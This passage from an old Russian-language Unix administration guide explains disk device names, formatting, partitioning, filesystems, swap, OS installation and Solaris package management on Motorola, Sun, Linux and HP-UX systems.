/dev/dsk/m197_c0d6s7     -  CD-ROM со стандартной  файловой
                            системой iso9660

        &dDSUN;:&d;@.

        Логические разделы (блочные) на станции SPARCstation:
Диск может быть разбит на 8 логических разделов с 0 по 8.

        Общий формат имени SCSI устройства:

/dev/dsk/c0t2d0s3       Controller  0  (обычно 0)
                        Taget       2  (SCSI ID)
                        Disk        0  (LUN Logical Unit Number
                                        - обычно 0)
                        Slice       3  (Номер раздела)

        Физический диск (целиком)

/dev/rdsk/c0t3d0s2     Весь жесткий диск представляется  разде-
                       лом 2
                       Загрузочный внутренний жесткий диск SPARC-
                       station имеет 3-й SCSI номер.

        CD-ROM (целиком)

/dev/dsk/c0t6d0s2      CD обычно вешают на 6-й SCSI номер.
                       Имеет ровно один раздел - весь диск.

        Магнитные ленты.

/dev/rmt/0            1-я лента (обычно 150Мб)
/dev/rmt/1            2-я лента (обычно DAT 4Гб)

        После подключения новых устройств к Sun'у.
Нужно выполнить "reconfiguration boot". Из boot prom'a:

   ok boot -r

        &dDLinux;:&d;@.

     Диск может быть разбит на 4 primary раздела с 1 по 4. Один
из разделов может быть extended - тогда он может  быть   разбит
еще на 4 раздела с 5 по 8

        Физический диск (целиком)

/dev/hda        Первый IDE жесткий диск
/dev/hdb        Второй IDE жесткий диск
/dev/hdc        IDE hd (или CD) - master на втором интерфейсе
/dev/hdc        IDE hd (или CD) - slave  на втором интерфейсе
/dev/sda        Первый SCSI жесткий диск ...

/dev/sda1, /dev/sda2, ... ,8  Разделы жесткого SCSI диска
/dev/hdb1, /dev/hdb2, ... ,8  Разделы жесткого IDE диска

        CD-ROM

/dev/sbpcd,/dev/sonycd, ...
/dev/hdc  - IDE CD
          а лучше /dev/cdrom

        Магнитные ленты.

/dev/rmt1

        Дискеты.

/dev/fd0             - флоппи A:
/dev/fd1             - флоппи B:

        &dDHP-UX;&d;@

        Физический диск (целиком)

/dev/rdsk/c0t6d0     Весь жесткий диск (raw)
/dev/dsk/c0t6d0      Весь жесткий диск

 Жестких разделов в HP-UX нет, зато есть LVM - и в нем
логические тома

/dev/vg00/lvol12     char logical volume
/dev/vg00/rlvol12    block logical volume

        Магнитные ленты
/dev/rmt/0m          лента с перемоткой
/dev/rmt/0mn         лента без перемотки

        &dD; * Как отформатировать SCSI диск * &d;@.


     Форматировать  SCSI  на  низком  уровне  не  умеет ни один Unix
в мире.Форматирование обычно заключается в тестировании bad block'ов
и   нанесении   логической   разметки   диска   -   делении  его  на
логические разделы.

        &dDMOTOROLA;: низкоуровневое форматирование диска &d;@

     Хотите   по-простому -  воспользуйтесь  командой  scsifmt.
Применяется  она  к  БЕССТРУКТУРНОМУ  цельному  диску  (каталог
/dev/rdsk, slice номер 7). Например:

   scsifmt /dev/rdsk/m197_c0d1s7
   scsifmt /dev/rdsk/m328_c1d0s7

     ВНИМАНИЕ:  вы  уже набрали эту команду? Сосчитайте до 20 и
немного подумайте. Подумали? Теперь нажмите Ctrl-C.  Вы  нажали
ENTER  вместо Ctrl-C ? У вас есть 30 свободных минут. Можете за
это  время  ознакомиться  с  главой  "Инсталляция  Unix".  Ведь
команда  scsifmt  ничего  не  переспрашивает  и сразу начинает
форматировать указанный диск, не требуя никаких  подтверждений.

       scsifmt просто вызывает команду dinit с соответствующими
ключами,  которая  все  и  делает.  Для  более   тонких   работ
пользуйтесь dinit непосредственно.

 Инициализация диска(низкоуровневое форматирование, тестирование
бад-блоков, загрузочная запись) делается командой dinit.

dinit [-f] [-q] [-b]   filename   /dev/rdsk/m187_c0d1s7
      -X 9  debug-level
      -f    переформатировать
      -q    "быстрый" формат
      -b    сделать диск загрузочным
      -v {0-4} write тест

man dinit    сообщить все остальные подробности

        &dDSUN;:&d;@

     Физическое форматирование диска на SunOS не делают. Считается,
что диск должны отформатировать  на  заводе.  Можно  посмотреть
информацию о диске.

     prtvtoc /dev/rdsk/c0t0d0s2

        &dDHP-UX;&d;@

     Физическое форматирование

format /dev/rdsk/c0t6d0

        &dD; * Разметка диска на разделы. Partition Table * &d;@

        &dDLinux;: fdisk&d;@

     Раметка  partiotion table в Linux делается командой fdisk.
Это диалоговая утилита  -  без  особых  изысков,  все  делается
просто.

     fdisk /dev/hda   # или /dev/sdb ...

     mke2fs /dev/hda1
     # создает файловую систему типа ext2 на первом разделе

     Распечатать таблицу разделов:

     fdisk -p /dev/hda   # или /dev/sdb ...


        &dDSUN;: Разметка форматированного диска на разделы&d;@

     Чтобы   диск   опознавался   Sun'ом,   для   него   должно
существовать описание в файле /etc/format.dat

     Из-под  СуперПользователя  запустите  команду format, и в
диалоговом режиме сможете проинициализировать и  протестировать
диск и разбить его на разделы.

     format

Boot-монитор при загрузке операционной системы ищет на корневом
разделе boot-блок. Он записывается командой installboot или dd

     installboot /dev/rdsk/c0t3d0s0
     dd if=/usr/lib/fs/ufs/bootblk bs=1k skip=1 of=/dev/dsk/c0t3d0s0

        &dDSUN;: Создание файловой системы&d;@.

     newfs /dev/dsk/c0t0d0s7

        SUN: виды файловых систем.

     ufs        Unix File System
                основной тип файловых систем для жестких дисков
     hsfs       High Sierra, ISO 9660, Rock Rige Extension
                файловая система на CD-ROM'ах
     pcfs       MS-DOS FAT для дискет 3"

     nfs        Network File System
                наиболее популярная сетевая файловая система
     rfs        Remote File System
                тяжелое наследие System V - еще одна сетевая FS

     tmpfs      для хранения Временной Файловой системы используется
                свободное место swap-области
     lofs       Loop Back FS
                фактически mount -F nfs localhost:/ /mnt

     procfs     Process FS - "для каждого процесса имеется файл"
     fifofs     FIFO FS
     fdfs       File Descriptors FS
     namefs

        &dDMOTOROLA;: Разметка форматированного диска на разделы&d;@.

     Производится  Disk Slice Editorom dse. На диске может быть
до 15 slice'ов (разделов). Они нумеруются числами от 0 до 6, от
8  до  f.  Номер  7  зарезервирован, чтобы обозначать весь диск
целиком.

  dse   имя_бесструктурного_диска       #       например:
  dse /dev/rdsk/m197_c0d0s7

DSE имеет экранный интерфейс, схожий с редактором VI
        Команды:

   :q!     выйти без внесения изменений в таблицу разделов
   :wq     сохранить изменения и выйти
 h,j,k,l   команды перемещения по экрану (это если у вас не ра-
           ботают стрелочки)
   C       создать раздел на свободном месте
   dw      стереть поле
   dd      уничтожить раздел
   cw      изменить значение поля

ВНИМАНИЕ:  самый  первый раздел должен начинаться с блока номер
648 (или больше), поскольку на диске  должно  оставаться  место
для хранения разметки диска VTOC (Volume Table Of Contents).

     На   создаваемом  разделе  должна  быть  создана  файловая
система. В SVR4/88 используются 3 разных типа - ufs,  s5,  bfs.
Выбирайте "UFS".

        Motorola: виды файловых систем.

     ufs        Unix File System
                основной тип файловых систем для жестких дисков
     s5         System V. Устарелый тип файловой системы, исполь-
                зовался в старых версиях SV 3.1. Более медленная,
                но занимает меньше места под служебную информацию
     bfs        Boot File System для каталога /stand
		Служебная "очень простая" файловая система. В ней
                лежат файлы начальной загрузки boot и unix
     cdfs       CD File System
                Стандартная для CD ROM'ов разметка ISO 9660

     После   переразметки   диска  dse  автоматически  запустит
команду mkfs со всеми необходимыми параметрами -  для  создания
чистых  файловых  систем  на  новых  разделах,  поэтому  пункт,
относящийся к команде mkfs, имеет скорее академический интерес.

       Реально  dse только ГОТОВИТ описание VTOC, а прописывает
ее на диск команда fmthard. Параметры у нее  непростые,  именно
она  применяется при инсталляции системы.

 fmthard -S file_with_vtoc_description /dev/rmt/m187_c0d1s7

     Для  обычных  же  юзеров  к  ней  написан пользовательский
интерфейс dse.

     Распечатать таблицу разделов:

prtvtoc /dev/rdsk/m187_c0d0s7

        &dD; * Какого типа у нас файловые системы * &d;@

        &dDMOTOROLA;: Какого типа у нас файловые системы&d;@

  fstyp имя_дискового_раздела

     Рекомендуемый  тип  для неспециализированных (т.е. не тех,
которые /stand,  /boot  и  некоторые  другие)  файловых  систем
стандартный  Unix'овский  "ufs" - Unix File System. Это быстрая
файловая система BSD-подобного типа с  символическими  линками,
длинными  именами  файлов  (до  256  байт), изменяемым размером
блока,  "размазанной"  таблицей   inod'ов   (описатели   файлов
расположены группами, которые равномерно распределены по диску)

        &dDmkfs; - создает пустую файловую систему&d;@.

# создаем файловую систему типа s5 на 4-ом разделе диска,  раз-
# мером 200 Мб !!! Размер указывается в 512-байтных блоках

  mkfs -F s5   /dev/rdsk/m328_c2d0s4  400000


# создаем файловую систему типа ufs  на 5-ом разделе диска

  mkfs -F ufs  -o bsize=4096,nsect=36,ntrack=9,free=1 \
  /dev/rdsk/m328_c2d0s5

        &dDLinux;: создание файловой системы&d;@

 mke2fs /dev/hda9

        &dDHP-UX;: создание файловой системы&d;@

 newfs -F hfs /dev/rvol12

        &dDHP-UX;: JFS vs HFS&d;@

HP-UX использует два формата файловых систем:
 HFS  (High  Perfomance)  - AKA старая добрая ufs,
 и новомодная JFS (Journal) AKA Verytas vxfs

     0.  vxfs - это не файловая система, а база данных с журналом транзакций
и откаткой.  Любая  операция  записи  в  файловую  систему  содержит  только
завершенные  транзакции, поэтому fs на диске _всегда_ находится в корректном
состоянии. В лог пишется "протокол намерений", и его можно использовать  для
откатки.

&dD;Плюсы:&d;@
     1.   vxfs   использует   физический   журнал   для  записи
критической метаинформации на диск. Это гарантирует эффективное
восстанавление   fs.   Большая   сохранность  позволяет  дольше
кэшировать данные. Очень заметен  выигрыш  по  скорости  "close
file"  -  закрытие  файла  НЕ  форсирует sync inod'а на диск, в
отличие от ufs.
     2.  vxfs  применяет  кластерную  адресацию  последовательных
блоков - выигрыш в адресации блоков и скорости доступа к большим
файлам.
     3. inod в vxfs-е имеет длину 256 байт (а не 128), и короткие (<=96байт)
директории или симлинки хранятся прямо в inod'е
     4.  Директории  vxfs  проиндексированы - следовательно, повышена скорость
поиска файла по имени.
     5.  По  необходимости  vxfs  умеет создавать дополнительные области
inod'ов, и вообще - место в vxfs распределяется по мере заполнения.

Написать подробнее про транзакции.

&dD;Минусы:&d;@

     1. Служебные структуры vxfs занимают больше места на диске
     2. Загрузчик ядра не умеет читать формат vxfs, поэтому
каталог /stand обязан быть HFS'ным

&dD;Плюсы для Live JFS (AKA OnLine VxFS) Only:&d;@
     Это  расширение стандартной vxfs, коммерческий продукт, поставляемый за
отдельные  деньги,   после   его   установки   стандартная   vxfs   получает
дополнительные возможности:
     6. Увеличение размера fs без отмонтирования.
     7. Уменьшение размера fs (а-ля speed disk) без отмонтирования.
     8.   Snapshot   (заморозка)   fs.  По  команде  возникает  параллельное
дерево-копия раздела - "остановленное" на момент подачи команды. Реализация:
использует  дополнительно  раздел  диска  для сохранения изменяемых блоков с
данными. При обращении к "замороженным" данным блоки, еще  не  измененные  -
считываются  из  оригинальной файловой системы, если же менялись, то оригинал
берется с сохраненной на отдельный раздел копии.

 Примеры, на которых vxfs дает заметный (в 2-4 раза) выигрыш
  cd /hfs  ;  time tar xf /tmp/big.tar
  cd /vxfs ;  time tar xf /tmp/big.tar

  time cat bigfile bigfile bigfile bigfile bigfile > /vxfs/big
  time cat bigfile bigfile bigfile bigfile bigfile > /hfs/big

     Вывод:  в  некоторых операциях vxfs быстрее, в остальных -
не медленнее, устойчивее к  выключению  питания,  но  несколько
больше съедает дискового пространства.
     HFS  имеет  смысл  на  статических  "readonly"  каталогах,
например /usr - скорость чтения одинакова, а hfs компактнее.

        &dDLinux.; Запись директории на вритабле CDROM&d;@

 mkisofs -R -o image directory
 затем записать образ на cd-r командой  cdrecord


        &dD; * Монтирование файловых систем * &d;@.

Чтобы  сделать  "видимыми"  файлы, лежащие на дисковом разделе,
Unix использует  команду  mount.  Mount  "подцепляет"  файловую
систему  к общему дереву файлов. При монтировании нужно указать
"точку монтажа" - каталог, к которому "подцепляется" наша новая
файловая система. Например:

    mount -F ufs   /dev/dsk/m197_c0d0s8    /home1

Чтобы посмотреть, какие файловые системы у нас смонтированы,
выполните команду

    df

Чтобы наши файловые системы монтировались, а swap области акти-
визировались  автоматически  при  каждой  загрузке,  необходимо
вставить соответствующие  строки  в  файл  /etc/vfstab . Формат
строчек можно посмотреть в этом же файле.

        &dDMOTOROLA;: Монтирование CD-ROM&d;@.

Если на CDROM'е  записана файловая система формата "ufs" - т.е.
это  "родной",  моторольный cdrom, то монтировать его нужно  по
тем же правилам, что и обычный жесткий диск, только "read only"

  mount -F ufs -r  /dev/dsk/m197_c0d6s0    /cdrom

Если же это обычный "game'овый" диск для MSDOS'а, а точнее, CDROM
стандартного формата iso9660, то монтировать его надо так:

  mount -F cdfs -o ro  /dev/dsk/m197_c0d6s7    /cdrom

(использование ключей  -r и  -o ro  - равнозначно)

        &dD;Отмонтирование файловых систем&d;@.

  umount /home1

        &dD; * Изменение параметров fs * &d;@

Sun:          tunefs
Linux:        tune2fs
HP-UX:        fsadm

        &dD; * Bad-блоки * &d;@.

     Симптомы  достаточно  красноречивы:  заметные задержки при
доступе к диску  (из-за  retrying'a),  и  на  консоль  сыплются
страшные  сообщения "Bad media", "Read failure"... "при доступе
к блоку такому-то".
     Запишите номера bad-блоков - их можно "подлечить".

        &dD;Фирменные операционки: лечится, но с трудом-с&d;@

     Современные  SCSI  адаптеры  сами заменяют bad-блоки. Если
засекли бад-блоцк, пропишите по нему (или  файлу  с  ним)  нули,
адаптер  заодно и пропишет, и подменит, и навсегда спрячет его,
и он больше не покажется.

        &dDMotorola;: Bad-блоки&d;@

       Рекомендую  ознакомиться  с документацией - раздел "Bad
blocks" в Томе "Disks and Tapes Managment"

  см. также man по   ddefs, mvme328, scsi1x7, dinit, ...

     Надеюсь  при описании геометрии диска командой ddefs вы не
поскупились  указать  число  "Bad spots" больше нуля. Замещение
бад-блоков выполняется все той же командой dinit

dinit -n dskdeffilename /dev/rdsk/m187_c0d107
      -n             номера bad-блоков вводятся с клавиатуры

dinit -t bad-list dskdeffilename /dev/rdsk/m187_c0d107
      -t bad-list    файл со списком bad-блоков

     Как протестировать диск на бад-блоки? У dinit есть ключ
      -v 1   - verify with pattern

        &dDLinux;: Bad-блоки&d;@

     Linux'овский  fsck  с  ключом  "-c"  умеет  сам находить и
лечить от bad-блоков (они собираются в отдельный "bad"  inode)

      # -y yes на все вопросы,  -f force checking, -c bad-blocks
      e2fsck -c -y -f /dev/hda3

        &dD; * Диагностика оборудования * &d;@

        &dDMOTOROLA;: Утилита тестирования оборудования GOLD&d;@

     Для  тестирования  и  диагностики оборудования станции
Motorola 922  можно  воспользоваться  утилитой  gold.  Она  имеет
систему меню, очень похожую на систему меню утилиты sysadm.

        &dDSUN;:  Утилита тестирования оборудования sundiag&d;@

     Sundiag   -   многофункциональная   утилита   тестирования
оборудования на Sun

        &dDUnix; для PC&d;@

     Да  чего  там  выпендриваться.  Грузитесь  в  MSDOS  и там
тестируйте железо всем, чем пожелаете.













.
        &dD;Выделение разделов под swap&d;@

     Под  swap  область  рекомендуется выделять не более одного
раздела (предпочтительнее самого  первого)  на  каждом  жестком
диске.

       Под  swap  рекомендуется выделять 1*RAM - 2*RAM места, а
если на машине активно используется X-Windows, то 3*RAM.

     В  случае срочной необходимости под swap можно выделить и
обычный  файл.  Создайте  файл  большого   размера,   а   затем
подключите его под swapping. Пример: выделяем 20 Mb-овый файл

  dd if=/dev/zero of=/var/swapfile bs=1k count=20480

     Чтоб swap подключался автоматически при начальной загрузке,
надо вписать строку в /etc/fstab - что-нибудь типа:

---------------------------------------------------------------
# device     mountpoint  type  flags
/dev/hdb2     none       swap   sw
---------------------------------------------------------------

        &dDMOTOROLA;: swap&d;@

     После выделения раздела под swap его надо активизировать:

  swap -a /dev/rdsk/m328_c2d0s0 0 0  # подключаем раздел

  swap -a /var/swapfile 0 40960      # подключаем файл
  # Внимание  - здесь длина указывается в 512-байтных блоках

        &dDLinux;: swap&d;@

# размечаем партицию,
# устанавливаем ей partition ID == 82 "Linux-swap"

  fdisk /dev/hda

# Swap-файл для Linux _ОБЯЗАН_ лежать в каталоге /dev/

  dd if=/dev/zero of=/dev/swapfile bs=1k count=40000

# После выделения раздела или файла под swap его надо прописать:

  mkswap /dev/hda2 40000 ; sync # размер в килобайтах

  swapon /dev/hda2       # подключаем swap-раздел

  free                   # смотрим

  swapoff /dev/swapfile  # отключаем swap-файл

Для постоянного включения добавить строчку
в /etc/fstab :
---------------------------------------------------------------
/dev/hdb2       none  swap   sw
---------------------------------------------------------------

        &dDHP-UX; 10.20: swap&d;@

     Душка HP-UX  позволяет все запросто сделать менюшками SAM.

     Специфика: swap в файловой системе называется экзотическим
словом "File system swap",  организуется  в  виде  каталога  и
хватает  не  все  сразу,  как  имеет место с swap-файлом, а "по
требованию", чем экономит место на диске.

     В HP-UX отключить на лету swap-область нельзя - отключение
swap форсирует перезагрузку компьютера

Primary-swap указывается в конфигурации ядра, остальные в файле
/etc/fstab

  swapon                # подключаем

  swapinfo              # смотрим

        &dDSUN; (Solaris и SunOS)&d;@

   swap -l              # листинг
   swap -s              # листинг

   mkfile 40m swap-file # создать свапфайл в 40 Мб

   swap -a swap-file    #  активизировать его.

Для постоянного включения добавить строчку
в /etc/vfstab:

/swap/file    -   -   swap  -   no   -




.
        &dD;Инсталляция операционной системы&d;@

       Для  инсталляции  операционной системы на Unix-компьютер
используются загрузочные дискеты, загрузочные магнитные  ленты,
а также CD-ROM'ы.
      С дистрибутивного носителя загружается минимальная версия
операционной системы  Unix,  и  под  управлением  этого  Unix-а
запускается   программа   инсталляции,   которая   извлекает  и
устанавливает с носителя пакеты.

        &dDMotorola; 922. Загрузка с магнитной ленты&d;@

       Вставить  ленту  с  дистрибутивом Unix SVR4/88. Включить
питание. После  того,  как  на  консольном  терминале  появится
сообщение

"Idle MPU: none"

нажать на клавишу "ПРОБЕЛ"
Появится меню из нескольких пунктов.

Выбираем  "3" (System debugger) , ENTER
В  ответ  на  приглашение  197-Diag> вводим "bo 0 40" ENTER (0:
загрузить с 0-го SCSI контроллера, 40 -  магнитная  лента,  4-й
scsi-номер) и ждем 5 минут.

197-Diag> bo 0 40

     Boot-prom   организует   в  оперативной  памяти  RAM-диск,
считывает на него с магнитной ленты  начальные  8  Mb  -  образ
файловой   системы,   загружает   ядро   операционной  системы,
монтирует RAM-диск  в  качестве  корневой  файловой  системы  и
запускает  с  него  программу  инсталляции,  управляемую  меню.
Дальше надо ответить на некоторое  количество  вопросов,  после
чего  программа  приступит  к установке пакетов Unix'а, которые
размещены на ленте вслед  за  образом  загрузочного  RAM-диска.
Собственно  извлечение  файлов  с ленты занимает 20-40 минут, в
зависимости  от  того,  сколько  и  какие  пакеты   вы   решили
устанавливать.

     Первым  вопросом  система  спросит,  какой у вас терминал.
Ответьте, что у него 24 строки  и  он  имеет  позиционирование
курсора в стиле vt100 или unknown

   Программа инсталляции имеет три основных  режима:

 1. Full install
 2. upgrade
 3. Maintance mode

       Вторым  своим  вопросом  программа инсталляции предложит
выбрать один из них.

INSTALL   -   предусматривает   полную  установку  операционной
системы.  Все  файловые   системы   на   диске   будут   заново
переразмечены  -  и, следовательно, ВСЕ ФАЙЛЫ, которые до этого
существовали на диске, БУДУТ СТЕРТЫ.

UPGRADE  - обновление "старинной" (образца 1988 года и древнее)
системы до  современной  версии.  Старые  данные  при  этом  не
уничтожаются.(За исключением тех, естественно, которые включены
в новоустанавливаемые пакеты).  Нас  этот  режим  не  касается,
поскольку  у  нас  и  так  новая  система  установлена с самого
начала.

MAINTANCE     MODE    -    однопользовательский    shell    для
суперпользователя.   Подготовленный    администратор    сможет,
загрузившись с  ленты, вручную заняться ремонтом  и устранением
неисправностей в операционной системе, которые ему  не  удалось
бы  отремонтировать, загрузись он с диска. (И вообще, не всегда
же удается загрузиться с диска).
     По  выходе  из  maintance shell'а (клавиша Ctrl-D) нажмите
Ctrl-C,    чтоб    гарантировать   перезапуск   инсталляционной
процедуры.
     Если  вы  инсталлитесь  на  диск  неизвестной  породы, вам
придется перед запуском 1. Install уйти в Maintance моду  и  по
стандартной схеме сделать описание этого диска.

        &dD;Беста-88. Загрузка с магнитной ленты.&d;@

Вставить мастер-ленту Unix'а. Включить  питание.  На консольном
терминале появится сообщение:

boot:

Вводим "t:unix" ENTER (Загрузить unix с магнитной ленты)

boot: t:unix

RAM-диск у Bestix'а занимает  1000  Кб, вслед за ним расположен
архив формата  cpio с дистрибутивом операционной системы. Оста-
ется ответить на несколько вопросов  и  затем  ждать минут 20,
пока все содержимое ленты будет извлечено на диск.

        &dDSun; SPARCstation. Загрузка с CD-ROM.&d;@

Вставить  CD-ROM.  Включить  питание.  Подождать,  пока станция
"разогреется". Нажать STOP+A. (STOP - левая верхняя клавиша  на
левой дополнительной клавиатуре). Появится boot-rom prompt Ok:

вводим "boot cdrom". Если SPARC старой модели - SS1, SS1+, SS2,
придется вводить "boot sd(0,6,2)"

Ok boot sd(0,6,2)

Если  приглашение имеет другой вид: "> " (??), то вместо "boot"
надо набрать "b"

> b sd(0,6,2)

После загрузки Unix запустите команду "suninstall",  которая  и
проведет инсталляцию.

# suninstall

        &dDLinux; Slackware. Загрузка с дискет&d;@

     В  Linux'е  для  инсталляции  нужно  иметь две загрузочные
дискеты: BOOT (с нее загружаются, на  ней  находится  ядро),  и
ROOT   (на   ней   находится  минимальная  файловая  система  с
программой инсталляции).  Образы  этих  дискет  в  сжатом  виде
хранятся  в  файлах boot*/*.gz и root*/*.gz соответственно. Вам
нужно выбрать по одному файлу из  каждого  множества  (например
boot12/net.gz   и  root144/color144.gz)  и  изготовить  из  них
дискеты. Программа GZIP.EXE -D ИЛИ  GUNZIP.EXE  "разожмет"  эти
файлы,  а  RAWRITE.EXE  "зальет"  их  на дискеты. Сами пакеты с
дистрибутивом Linux могут лежать на DOS-партиции инсталлируемой
машины,  на  NFS-сервере,  на дискетах, на CD-ROM, на магнитной
ленте.

Загрузитесь  с  boot-дискеты,  в  ответ  на prompt "Lilo boot:"
введите соответствующий параметр и  Enter,  подождите  немного.

ВНИМАНИЕ:   Если  ваша  машина  с  Ethernet'ной  картой  ne2000
"зависает" при попытке загрузить  ядро,  повторите  загрузку  с
дополнительными параметрами, примерно такими:

  Lilo boot: ether=10,0x320,eth0

Вставьте  ROOT  дискету, нажмите Enter. Когда появится "Console
login:" залогиньтесь как root и запустите:


 # fdisk /dev/hda
 # setup

        &dDLinux; RedHat. Загрузка с дискеты&d;@

     В Linux версии RedHat одна загрузочная дискета. Грузимся с
нее - а дальше все делаем по менюшкам. Дистрибутив может лежать
на локальном диске, NFS, FTP, SMB-сервере.

        &dDHP-UX; 10.20. Загрузка с CD-ROM&d;@

     Перехватываем   начальную   загрузку  клавишей  ESC  и  из
PDC-промта даем команду "нащупать cdrom"

BOOT-ADMIN> search scsi

....
   scsi.2.0     ... CDROM ....

     Из выдачи вылавливаем "scsi ID CD" и грузим его

BOOT-ADMIN> boot scsi.2.0

     Дальше действовать по обстановке, отвечая на возникающие в
менюшках вопросы.

        &dDHP-UX; 10.20. Инсталляция по сети&d;@

&dD;Готовим сервер&d;@

1. Установить с Install диска пакет "Network cold install utils"

1a.  (Если надо инсталлить C-200 и старше) Установить с Install
диска пакет-patch ACE/PHCO-10751 "Enabling network install for ... C-200"

2. В файл /etc/instl_boottab вписать несколько _незанятых_ адресов

3. Подмонтировать Install CD и зарегистрировать его как Depot

   mount /dev/dsk/c0t2d0 /cdrom
   /usr/sbin/swreg    -l depot /cdrom

4. Не забыть по окончании работ разрегистрировать Depot

   /usr/sbin/swreg -u -l depot /cdrom

&dD;На станции&d;@

Перехватить PDC-boot промпт (ESC или Break в первые 10 сек)

PDC> search lan install

Некоторые  станции  могут  ничего не обнаружить, но все равно -
тогда втемную дается команда

PDC> boot lan.10.188.101.14.3.52 install

где 10.188.101.14 - IP адрес сервера,
а что такое 3.52 - не знает никто
.
        &dD;Пакеты: установка дополнительного софта&d;@

        &dD; * Как устанавливать пакеты в Solaris 2.5 * &d;@

        &dD;Администрирование программного обеспечения&d;@


       Этот  вопрос  очень  важен  для  поддержки  и обновления
программного  обеспечения.  Для  этой   цели   в   ОС   Solaris
предусмотрен  специальный  механизм,  поддерживаемый  с помощью
утилит  "pkgadd"  и  "pkgrm",  соответственно   добавляющих   и
удаляющих   пакеты   из   системы.   Чтобы  эти  утилиты  могли
оперировать  с  пакетами,  они  должны  быть   представлены   в
соответствующем  виде,  или формате. К сожалению, далеко не все
программные  продукты  доступны  непосредственно   в   формате,
пригодном  для  "pkgadd". Подавляющее большинство продуктов для
Unix, доступных  через  Internet,  находятся  в  виде  исходных
текстов,  которые  надо  откомпилировать и скопировать в нужные
места. Это имеет место, т.к. ОС Unix установлена на  машинах  с
различными типами процессоров и различной архитектурой.

Original is here

        &dD;Ручная установка&d;@

                         Глава подготовлена Сергеем Богомоловым

Здесь  описана  только  установка  пакета  для себя (standalone
sysтем), если вам нужно установить пакет в режиме
server/dataless/diskless - читайте другие книжки (делать это надо
только с большой тоски).


1. Станьте суперпользователем
2. введите:
	/usr/sbin/pkgadd -d имя_директории_где_лежит_пакет имя_пакета

    например:
        /usr/sbin/pkgadd -d /cdrom/solaris_2_5/s0/Solaris_2.5 SUNWpkgA

    можно установить несколько пакетов сразу (укажите их имена через пробелы).

Имя пакета можно узнать из инструкции или с помощью команды:
         /usr/sbin/pkginfo -d имя_директории_где_лежит_пакет

Внимание: Solaris не очень хорошо отслеживает взаимозависимость между
     пакетами, так что вы сами должны позаботиться о порядке установки.
Многие пакеты любят задавать всякие вопросы во время установки (куда
      все это поместить, весь ли пакет установить и т.д.), так что
      будьте готовы. Например, при установке тома AnswerBook спрашивается,
      что копировать на жесткий диск: описание или весь том.
      Если вы копируете только описание, то исходный CD-ROM должен
      быть установлен каждый раз, когда вы запускаете AnswerBook, иначе
      ненайденный том будет помечен как "неживой" и его придется
      восстанавливать. Кстати, тома разбросаны по 7 дискам!!!

-----------------------------------------------------------------

        &dD;Проверка установки пакета.&d;@

/usr/sbin/pkgchk <имя_пакета>

-----------------------------------------------------------------

        &dD;Получение информации о пакете:&d;@

/usr/bin/pkginfo -l <имя_пакета>

например:
   pkginfo -l SUNWcar

   PKGINST:  SUNWcar
      NAME:  Core Architecture, (Root)
  CATEGORY:  system
      ARCH:  sparc.sun4m
   VERSION:  11.5.1,REV=94.07.15.22.10
   BASEDIR:  /
    VENDOR:  Sun Microsystems, Inc.
      DESC:  Core Architecture, (Root)
    PSTAMP:  fourstar940718191413
  INSTDATE:  Aug 16 1995 03:39
   HOTLINE:  Please contact your local service provider
    STATUS:  completely installed
     FILES:     51 installed pathnames
                16 shared pathnames
                 7 directories
                29 executables
              3794 blocks used (approx)

---------------------------------------------------------------

        &dD;Удаление пакета:&d;@

    /usr/sbin/pkgrm <имя_пакета>

---------------------------------------------------------------

        &dD;Работа с пакетами в графическом интерфейсе&d;@

 (swmtool для 2.4 или admintool для 2.5)
не надо устанавливать AnswerBook с их помощью.

                       SWMTOOL

запуск:

1. станьте суперпользователем
2. перейдите в графический режим, если вы еще не перешли в него
3. введите:
   /usr/sbin/swmtool &

 На экране возникает новое окно, программа долго-долго собирает
информацию об уже инсталлированных пакетах, затем  переходит  в
режим    установки    (режим    INSTALL/REMOVE    переключается
соответствующими кнопочками) и, скорее всего, сообщает вам, что
"устройство  не  готово, поменяйте установки (property)" Дело в
том, что swmtool  по  умолчанию  считает,  что  устанавливаемый
пакет  лежит  на  CD-ROM  и  менеджер  томов выключен. Если это
действительно так, то вставьте CD-ROM перед  запуском  swmtool.
Иначе  нажмите кнопку Props... (установки), возникает бланк, на
странице (категории) Source  Media  которого  вам  надо  задать
устройство или директорию, где лежит пакет.

 Например,  меняем  Media  Type на Mounted Directory, Directory
Name устанавливаем в  /cdrom/cdrom0  (установка  с  CD-ROM  при
включенном  менеджере  томов)  и  нажимаем кнопку Apply. Если в
указанной вами директории есть пакеты,  то  их  описания  будут
перечислены   в   главном  окне  swmtool.  Для  каждого  пакета
указывается: иконка (один ящик  -  простой  пакет  -  на  такую
иконку  можно жать два раза, и появляется подробное описание, 3
ящика - составной пакет - на такую иконку можно жать два раза, и
она   раскрывается   в  список  внутренних  пакетов  -  уровень
вложенности не ограничен), описание пакета и его предполагаемый
размер.  Выбираете  необходимые  вам  пакеты и нажимаете кнопку
Begin  Installation  (начать  установку).  Далее  весь   диалог
происходит в а/ц режиме как при установке pkgadd. Кстати, бланк
установок имеет большое количество  кнопочек,  менюшек  и  пр.:
есть с чем поиграться...

 Для  того,  чтобы  удалить  пакет,  нажимаете  кнопку  Remove,
выбираете  пакет  (пакеты),  который  вы  хотите  удалить,   и
нажимаете кнопку Begin Removal.

        &dD;Изготовление собственного пакета&d;@

Чтобы  легче  администрировать  этот разрозненный набор файлов, получающийся
после  компиляции,  их   можно   привести   к   формату   утилиты   "pkgadd"
самостоятельно.  Легче  всего этот вопрос рассмотреть на конкретном примере.
Пусть у нас есть пакет, состоящий из 3х программ: "MyProg.bin", "Myprog.lib"
и  "MyProg.man",  которые  должны  храниться  в  каталогах "/usr/local/bin",
"/usr/local/lib" и "/usr/local/man" соответственно.  Чтобы  сделать  из  них
пакет, надо проделать следующие простые шаги:

     а)  Создадим  директорию, где  будут  храниться  исходные
данные для утилиты "pkgmk", которая и делает собственно  пакет.
Пусть в нашем примере это будет директория "~/tmp/MyPackage".

     б)  Создадим  под  ним  систему  директорий,  где  должны
располагаться файлы пакета, и затем скопируем эти файлы на свои
места.  Т.о.  в  результате  у  нас  должны  получиться  файлы:

~/tmp/MyPackage/bin/MyProg.bin, ~/tmp/MyPackage/lib/MyProg.lib
и ~/tmp/MyPackage/man/MyProg.man

     в)  Затем  надо создать файлы "pkginfo" и "prototype". Они
должны выглядеть примерно так (более  подробную  информацию  об
этих  файлах вы можете получить, набрав команды

    man -s4 pkginfo
    man -s4 prototype

Файл "prototype":

!PROJDIR=/usr/local
1 i pkginfo=pkginfo
1 d none bin 0755 root other
1 f none bin/MyProg.bin 0644 root other
